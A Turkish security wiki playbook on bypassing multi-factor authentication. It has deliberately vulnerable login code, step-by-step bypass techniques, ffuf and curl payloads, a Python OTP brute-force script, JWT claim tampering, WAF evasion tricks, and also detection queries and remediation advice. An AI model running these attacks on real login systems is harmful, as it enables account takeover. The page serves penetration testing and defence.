Multi-Factor Authentication (MFA) Bypass
> Yazar: Nurettin Ünal
Siber güvenlik operasyonlarında Multi-Factor Authentication (MFA), savunma mimarilerinin en güvenilen ancak uygulama katmanında en sık istismar edilen kontrol mekanizmalarından biridir. Modern Red Team operasyonlarında MFA atlatma (bypass) eylemi, hedef sistemin kriptografik algoritmalarını kırmaktan ziyade; kimlik doğrulama akışındaki durum makinesi (state machine) hatalarını, oturum yükseltme (session upgrade) zafiyetlerini, API uç noktaları arasındaki yetkilendirme asimetrilerini ve federasyon zincirlerindeki (SAML/OIDC) mantık kusurlarını istismar etmeye dayanır.
MFA'nın "var olması", sistemin otomatik olarak güvende olduğu anlamına gelmez. Uygulamalar genellikle kullanıcının kimliğini doğruladıktan sonra, ikinci faktörün tamamlanmasını beklemeden bellekte veya veritabanında "yarı yetkili" (pre-authenticated) bir durum yaratır. Saldırganın temel amacı, bu yarı yetkili durumu manipüle ederek veya atlayarak tam yetkili oturum belirteçlerine (Access Token, Session Cookie) ulaşmaktır. Modern mimarilerde SPA (Single Page Application), mikroservisler, mobil API'ler ve SSO entegrasyonlarının karmaşıklığı, MFA politikalarının tutarlı bir şekilde uygulanmasını (enforcement) zorlaştırarak zafiyet yüzeyini genişletir.
How It Works (Teknik Analiz)
MFA'nın temel amacı, güvenliği "Bildiğiniz bir şey (Parola)", "Sahip olduğunuz bir şey (Telefon, Donanım Anahtarı)" ve "Olduğunuz bir şey (Biyometri)" faktörlerinden en az ikisinin kombinasyonu ile sağlamaktır. Teknik düzeyde bu süreç, durumsuz (stateless) veya durumlu (stateful) protokoller üzerinden ilerler.
NIST Digital Identity Guidelines (SP 800-63B), Authentication Assurance Level (AAL) konsepti ile güven seviyelerini belirler. MFA bypass senaryolarının kök nedeni genellikle sistemin AAL1 (sadece parola) durumundayken, kullanıcıya AAL2 (parola + OTP/Push) yetkilerini hatalı bir şekilde atamasıdır.
Protokol ve bellek düzeyinde MFA şu adımlardan oluşmalıdır:
- Challenge (Meydan Okuma): İstemci birinci faktörü (parola) sunar. Sunucu parolayı doğrular, ancak tam erişim vermek yerine geçici bir referans (örneğin, sınırlı bir JWT veya kısa ömürlü, yetkisiz bir oturum kimliği) döndürür.
- Verification (Doğrulama): İstemci, bu geçici referans ile birlikte ikinci faktörü (TOTP, SMS kodu, WebAuthn payload) sunar.
- Session Upgrade (Oturum Yükseltme): Sunucu ikinci faktörü doğrular, geçici referansı geçersiz kılar (invalidate) ve AAL2 seviyesinde tam yetkili yeni bir oturum belirteci (Session Token) üretir. OIDC standartlarında bu belirteç
amr(Authentication Methods References) veacr(Authentication Context Class Reference) değerlerini barındırır.
Kök neden (Root Cause) genellikle 1. ve 3. adımların birbirine karışması, yani sunucunun birinci adımdan sonra zaten geçerli bir oturum açması ve MFA adımını sadece istemci (UI/DOM) tarafında bir yönlendirme (redirect) ile yönetmesidir.
Vulnerable Code Patterns
Aşağıda farklı teknolojilerdeki tipik MFA zafiyetlerini (State Confusion ve Dangling Session) gösteren kod blokları ve analizleri bulunmaktadır.
// PHP - KÖTÜ TASARIM: Dangling Session / Premature Authentication
function authenticate($email, $password) {
$pdo = get_db_connection();
$stmt = $pdo->prepare("SELECT password FROM users WHERE email = :email");
$stmt->execute(['email' => $email]);
$user = $stmt->fetch(PDO::FETCH_ASSOC);
return $user && password_verify($password, $user['password']);
}
if (authenticate($_POST['email'], $_POST['password'])) {
// ZAFİYET BURADA: Kullanıcı MFA'yı geçmeden yetkili ilan ediliyor!
$_SESSION['authenticated'] = true;
$_SESSION['user_id'] = $user['id'];
// UI sadece kullanıcıyı yönlendiriyor. Saldırgan bu yönlendirmeyi takip etmez
// ve doğrudan /dashboard endpoint'ine istek atarsa erişim sağlar.
header('Location: /mfa');
exit;
}
// Node.js (Express) - KÖTÜ TASARIM: Missing MFA Context Enforcement
app.post("/api/v1/login", async (req, res) => {
const user = await User.findOne({ email: req.body.email });
if (user && await bcrypt.compare(req.body.password, user.passwordHash)) {
// ZAFİYET: JWT oluşturulurken MFA durumu claim olarak eklenmiyor.
const token = jwt.sign({ userId: user._id, role: user.role }, process.env.SECRET);
if (user.mfaEnabled) {
// İstemciye MFA sayfasına gitmesi söyleniyor ama token çoktan verildi.
return res.json({ token: token, requireMfa: true });
}
return res.json({ token: token, requireMfa: false });
}
res.status(401).send("Unauthorized");
});
// Java (Spring Security) - KÖTÜ TASARIM: Weak Trusted Device Token
@PostMapping("/api/trust-device")
public ResponseEntity<?> trustDevice(@AuthenticationPrincipal User user) {
// ZAFİYET: Cihaz güven jetonu sadece base64 ile kodlanmış.
// İmza (HMAC), bağlam (Device Fingerprint) veya süre sınırı yok. Replay edilebilir.
String rawData = user.getId() + ":" + user.getUsername();
String weakToken = Base64.getEncoder().encodeToString(rawData.getBytes());
ResponseCookie cookie = ResponseCookie.from("trusted_device", weakToken)
.httpOnly(true)
.maxAge(Duration.ofDays(30))
.build();
return ResponseEntity.ok().header(HttpHeaders.SET_COOKIE, cookie.toString()).build();
}
Detection & Enumeration (Keşif ve Analiz)
Sızma testlerinde MFA atlatma potansiyelini analiz etmek için uygulamanın kimlik doğrulama mimarisi uçtan uca haritalanmalıdır. Keşif aşaması, sunucunun verdiği tepkilerin, HTTP başlıklarının, çerezlerin ve DOM içeriğinin detaylı analizini gerektirir.
- Parola Doğrulama Sonrası İnceleme (Pre-Auth State Analysis):
- Parola doğru, MFA kodu yanlış girildiğinde sunucu bir "Session Token", "JWT" veya "PHPSESSID" döndürüyor mu?
- Döndürülen bu çerez/token ile uygulamanın yetki gerektiren endpointlerine (örn:
/api/users/me,/dashboard) MFA sayfası atlanarak istek atılabiliyor mu?
- API vs Web UI Uyuşmazlıkları (Channel Parity Check):
- Web arayüzü MFA zorunluluğu tutarken, aynı isteği mobil uygulamanın API endpointine (örn:
/api/v2/mobile/login) veya GraphQL uç noktasına attığınızda MFA atlanabiliyor mu?
- Web arayüzü MFA zorunluluğu tutarken, aynı isteği mobil uygulamanın API endpointine (örn:
- Error & Time-Based Extraction:
- Hatalı bir OTP girildiğinde sunucunun verdiği tepki süresi (response time) ile doğru uzunlukta ama geçersiz bir OTP girildiğindeki tepki süresi farklı mı? Bu durum Timing Attack ile OTP sızıntısına veya doğrulama mantığının keşfine yol açabilir.
- Token Decoding:
- JWT kullanılıyorsa,
jwt.ioüzerinden token payload'ını okuyun.amr(Authentication Methods References) claim'i var mı? Varsa içeriği["pwd"]mi yoksa["pwd", "otp"]mi? Eğer sadece["pwd"]içeren bir token ile hassas işlemlere izin veriliyorsa zafiyet vardır.
- JWT kullanılıyorsa,
Attack Vectors & Exploitation (İstismar Vektörleri)
Direct Session Upgrading (Dangling Session)
Uygulama parola kontrolünden sonra yetkili oturumu başlatıyor ve kullanıcıyı sadece arayüz üzerinden /mfa sayfasına yönlendiriyorsa, saldırgan bu yönlendirmeyi iptal edip (Intercept in Burp) veya cURL ile doğrudan hedef URL'ye giderek MFA'yı aşar.
- Exploitation: Parola girişi POST isteğini Burp Repeater'a alın. Dönen
Set-Cookiebaşlığını kopyalayın./profileveya/admingibi yetki gerektiren bir endpoint'e bu çerez ile GET isteği atın.
Response Manipulation (Status Code / Body Tampering)
Eğer MFA doğrulaması sadece istemci (Client-side) tarafında JavaScript ile kontrol ediliyorsa, HTTP yanıtları manipüle edilerek atlatılabilir.
- Exploitation:
POST /api/mfa/verifyisteği yaptığınızda sunucu{"success": false}veya HTTP 401/403 dönüyorsa, Burp Suite "Match and Replace" özelliği ile HTTP 401 yanıtını HTTP 200 OK olarak ve{"success": false}JSON yanıtını{"success": true, "authenticated": true}olarak değiştirin. JS mantığı bunu doğru kabul edip sizi içeri alabilir.
OTP Brute-Forcing & Rate Limit Evasion
Sunucu tarafında hız sınırlaması (Rate Limiting) veya hesap kilitleme (Account Lockout) mekanizması yoksa, 4 veya 6 haneli OTP kodları kısa sürede kaba kuvvet saldırısı ile kırılabilir.
- Exploitation (Rate Limit Bypass Techniques):
- Header Spoofing: Her istekte IP tabanlı engellemeyi aşmak için başlıkları değiştirin:
X-Forwarded-For: 127.0.0.1,X-Originating-IP: 192.168.1.2,X-Remote-IP,X-Remote-Addr. - Null Byte / Path Tampering: API endpointine null byte ekleyerek WAF'ı şaşırtın:
/api/mfa/verify%00,/api/v1/../mfa/verify.
- Header Spoofing: Her istekte IP tabanlı engellemeyi aşmak için başlıkları değiştirin:
Parameter Pollution & Type Juggling
Sunucu gelen verinin türünü veya aynı parametrenin birden fazla kez gönderilmesini doğru ayrıştıramıyorsa (özellikle PHP ve Node.js mimarilerinde), MFA mekanizması atlatılabilir.
- Exploitation:
- HPP (HTTP Parameter Pollution):
code=1234&code=0000(Eğer backend sadece ilkini okuyup doğrulamayı ikincisine göre yapıyorsa vb.) - Array Injection / Type Juggling (PHP):
code[]=1234veyacode[]=0000.strcmp()gibi fonksiyonlar array aldığındaNULLdöndürür ve gevşek karşılaştırmalarda (==) bypass sağlanabilir. - JSON Type Tampering:
{"code": ["1234", "0000"]}veya{"code": true}.
- HPP (HTTP Parameter Pollution):
OTP Token Leakage (Information Disclosure)
Uygulama, MFA kodunu üretirken veya gönderirken debug verilerini, XHR yanıtını veya DOM ağacını temizlemeyi unutabilir.
- Exploitation:
POST /api/mfa/sendisteğinin HTTP yanıtını inceleyin. Yanıtta{"status":"sent", "dev_code": "481516", "token": "..."}gibi üretim (production) ortamında unutulmuş geliştirici metadataları olabilir. Ayrıca JavaScript dosyalarının içine gömülmüş (hardcoded) statik MFA bypass kodları aranmalıdır.
Legacy Protocol Fallback (Downgrade Attacks)
MFA sadece modern Web ve Mobil API'lerde zorunlu kılınmış, ancak eski (legacy) protokoller hala açıksa sistem atlatılabilir.
- Exploitation: Hedef kullanıcının sadece parolası biliniyorsa, sisteme IMAP, POP3, SMTP AUTH, XML-RPC (WordPress) veya EWS (Exchange Web Services) üzerinden bağlantı kurmayı deneyin. Bu protokoller MFA'yı desteklemediği için sadece parola ile doğrudan kimlik doğrulaması sağlayabilir.
Trusted Device / Remember Me Abuse
"Bu cihazı hatırla" özelliği zayıf kriptografik temellerle oluşturulmuşsa istismar edilebilir.
- Exploitation: Eğer sistem sadece
[email protected]gibi tahmin edilebilir veya şifrelenmemiş/imzalanmamış (base64) bir çerez oluşturuyorsa, saldırgan kendi cihazında bu çerezi taklit ederek (Cookie Forging) MFA adımını tamamen es geçebilir.
Password Reset / Recovery Flow Abuse
Kullanıcı hesabı kurtarma akışı genellikle MFA'yı sıfırlar veya bypass eder. Eğer kurtarma süreci zayıfsa, MFA da işlevsiz kalır.
- Exploitation: "Şifremi Unuttum" bağlantısı ile parola sıfırlama linki gönderin (Eğer Host Header Injection veya benzeri bir yöntemle token ele geçirilebiliyorsa). Parola sıfırlandıktan sonra sistem, kullanıcı deneyimi açısından "otomatik olarak" sisteme giriş yapıyorsa (Auto-Login), MFA kontrolü atlanmış olur.
Concurrent Requests (Race Conditions)
OTP kodu oluşturulurken veya doğrulanırken uygulamanın aynı anda gelen (milisaniye farkıyla) istekleri nasıl işlediği kontrol edilir.
- Exploitation: Aynı anda tek kullanımlık bir kod ile (örneğin daha önceden alınmış bir yedek/backup kod) sunucuya 50 eşzamanlı istek atılır (Turbo Intruder). Eğer veritabanında kodun "kullanıldı" olarak işaretlenmesi (lock mechanism) yavaşsa, tek bir MFA kodu ile birden fazla oturum açılabilir.
Payloads & Advanced Commands
OTP Brute-Force via ffuf
Basit bir 4 haneli PIN kaba kuvvet saldırısı:
ffuf -w 4-digit-pins.txt -u https://target.com/api/mfa/verify -d '{"email":"[email protected]", "code":"FUZZ"}' -H "Content-Type: application/json" -H "Cookie: session=ey..." -mc 200,302
X-Forwarded-For IP Rotation via ffuf (Rate Limit Bypass)
ffuf -w 6-digit-pins.txt -u https://target.com/api/mfa -X POST -d "code=FUZZ" -H "X-Forwarded-For: 127.0.0.FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -fr "Rate Limit"
Custom Python Exploit Scripts (State Bypass & Automation)
Bir önceki adımda oturumun iptal edildiği ve sıfırdan başlamak gereken zorlu durumlarda otomasyon:
import requests
import time
from urllib.parse import urljoin
BASE_URL = 'http://target.com/api/'
LOGIN_URL = urljoin(BASE_URL, 'login')
MFA_URL = urljoin(BASE_URL, 'mfa/verify')
creds = {'email': '[email protected]', 'password': 'Password123!'}
def brute_force_mfa():
for otp in range(0, 10000): # 0000 to 9999
otp_str = f"{otp:04d}"
# 1. Her deneme için taze bir session oluştur (Rate limit lockout'tan kaçınmak için)
session = requests.Session()
# 2. Login ol ve Pre-Auth session al
resp_login = session.post(LOGIN_URL, json=creds)
if resp_login.status_code != 200:
print("[!] Login failed, check creds or WAF block.")
time.sleep(5)
continue
# 3. OTP'yi dene
resp_mfa = session.post(MFA_URL, json={"code": otp_str})
if "Invalid OTP" not in resp_mfa.text and resp_mfa.status_code in [200, 302]:
print(f"[+] SUCCESS! OTP Found: {otp_str}")
print(f"[+] Cookies: {session.cookies.get_dict()}")
break
else:
print(f"[-] Failed: {otp_str}")
if __name__ == '__main__':
brute_force_mfa()
JWT / OIDC Claim Manipulation
Token değerlerindeki MFA bayraklarını değiştirmek için jwt_tool:
# Token'ı decode edip içeriğine bakmak
jwt_tool -d eyJhb...
# Token içindeki amr (Authentication Methods) değerini ['pwd'] den ['pwd', 'mfa'] olarak değiştirip None algoritması veya zayıf secret ile imzalamak
jwt_tool eyJhb... -I -pc amr -pv "['pwd', 'mfa']"
JSON Array Payload / Type Juggling
Burp Suite Intruder'da veya cURL ile JSON Array Injection denemesi:
curl -X POST https://api.target.com/mfa/verify \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <pre_auth_token>" \
-d '{"code": ["1234", "0000", "1111"]}'
Log Analysis & SIEM Queries (jq, Splunk, KQL)
Blue Team bakış açısıyla veya ele geçirilen logların analizinde kullanılan tespit komutları:
# MFA başarısız ama parola doğru görünen olayları JSON logdan ayıkla
jq -r 'select(.event_type=="login" and .password_result=="success" and .mfa_result=="failure") | [.timestamp, .user, .ip, .device_id] | @tsv' auth.log.json
# Başarılı admin oturumlarında MFA (amr) eksikliği tespiti
jq -r 'select(.resource=="admin" and .result=="success") | select((.token.acr != "aal2") or (.token.amr | index("mfa") | not)) | [.timestamp, .user, .ip] | @tsv' auth.log.json
KQL (Microsoft Sentinel):
SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType == 0
| where AppDisplayName in ("Admin Portal","Billing API")
| extend AMR = tostring(AuthenticationMethodsUsed)
| where isempty(AMR) or AMR !contains "multi"
| project TimeGenerated, UserPrincipalName, IPAddress, AMR
Bypass & Obfuscation (Atlatma Teknikleri)
Gelişmiş WAF (Web Application Firewall) ve IDS/IPS sistemlerini atlatmak için uygulanan obfuskasyon teknikleri:
- Double/URL Encoding: İstekleri izleyen Regex kurallarını aşmak için payload'ları çift kodlayın:
%2531->%31->1. - Line-Feed / Carriage Return Injection: JSON body içine veya headerlara boşluk ve yeni satır karakterleri ekleyerek WAF'ın parser sınırlarını zorlayın (örn:
{"code" :\n"1234"}). - HTTP Method Override: WAF sadece POST isteklerindeki hız sınırını ölçüyorsa, yöntemi değiştirin:
POST /api/mfa HTTP/1.1 X-HTTP-Method-Override: GET - Referer ve Origin Spoofing: Bazı sistemler isteklerin sadece kendi arayüzünden geldiğine güvenir (CORS/CSRF mantığı). İsteklere uygulamanın kök dizinini belirten
Referer: https://target.com/mfa-pagebaşlığını mutlaka ekleyin.
Remediation & Prevention (Önleme ve Savunma)
MFA'yı siber uzayda dayanıklı bir zırha dönüştürmek için mimari düzeyde uygulanması gereken katı kurallar şunlardır:
- Pre-Auth Session Separation (Oturum Ayrımı): Parola doğrulandıktan sonra asla tam yetkili bir oturum başlatılmamalıdır. Sadece MFA ekranında geçerli, dar kapsamlı ve kısa ömürlü bir oturum/jwt (Pre-Auth) üretilmeli, MFA başarıyla tamamlandıktan sonra bu oturum iptal edilip yetkili (Rotated) yeni bir Session/Token tahsis edilmelidir.
- Backend Enforcement (Sunucu Taraflı Kontrol): MFA kontrolü asla sadece frontend/DOM yönlendirmelerine bırakılamaz. Yetki gerektiren tüm API uç noktaları (
/dashboard,/profile,/admin) istekteki oturum token'ının içindeamr(Authentication Methods References) veyamfa_verified=truebilgisini aktif olarak doğrulamalıdır. - Phishing-Resistant MFA (FIDO2 / WebAuthn): Oltalama (AiTM - Adversary in the Middle) saldırılarına karşı SMS OTP veya Push notification yerine, origin-binding yapan FIDO2/WebAuthn donanım tabanlı (YubiKey) veya Passkey yaklaşımlarına geçilmelidir.
- Strict Rate Limiting & Account Lockout: OTP doğrulama uç noktaları, hesap bazlı (Account-Level) ve IP bazlı (IP-Level) olmak üzere iki boyutlu hız sınırlandırmasına tabi tutulmalı, üst üste başarısız denemelerde MFA mekanizması (geçici olarak) kilitlenmelidir.
- Contextual Token Binding: Üretilen oturum veya
Trusted Devicebelirteçleri, kullanıcının cihaz kimliği (Device Fingerprint), IP adresi ve ASN bilgileri ile kriptografik olarak imzalanmalı (HMAC/JWT), bağlam dışına çıkıldığında (Impossible Travel) yeniden doğrulama (Step-Up Authentication) talep edilmelidir.
Common Tools & Frameworks
| Araç | Fonksiyon | Komut Örneği |
|---|---|---|
| Burp Suite (Intruder) | OTP Brute-Forcing, Hız Sınırı Testleri | Payload type: Numbers, 0000 to 9999 |
| ffuf | Başlık Fuzzing, Rate Limit Bypass, API Fuzzing | ffuf -w wordlist -u http://site/mfa -d "code=FUZZ" |
| jwt_tool | JWT Manipulation, None Algoritması, Signature Forging | jwt_tool token.jwt -I -pc amr -pv "['mfa']" |
| Evilginx2 | AiTM Phishing, MFA Token/Cookie Hırsızlığı | phishlets/office365.yaml |
| jq | Auth Loglarında JSON parsing, anomali tespiti | jq 'select(.mfa_result=="failure")' log.json |
| Splunk (SPL) | MFA korelasyonu, başarılı/başarısız log dizileri | index=auth event_type=mfa_challenge |
| Turbo Intruder (Burp) | Race Condition testleri, eşzamanlı istek atma | reqEngine.queue(req, gate='race1') |
Yazar: Nurettin Ünal · AltaySec Wiki — Türkçe güvenlik playbook'u.
← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv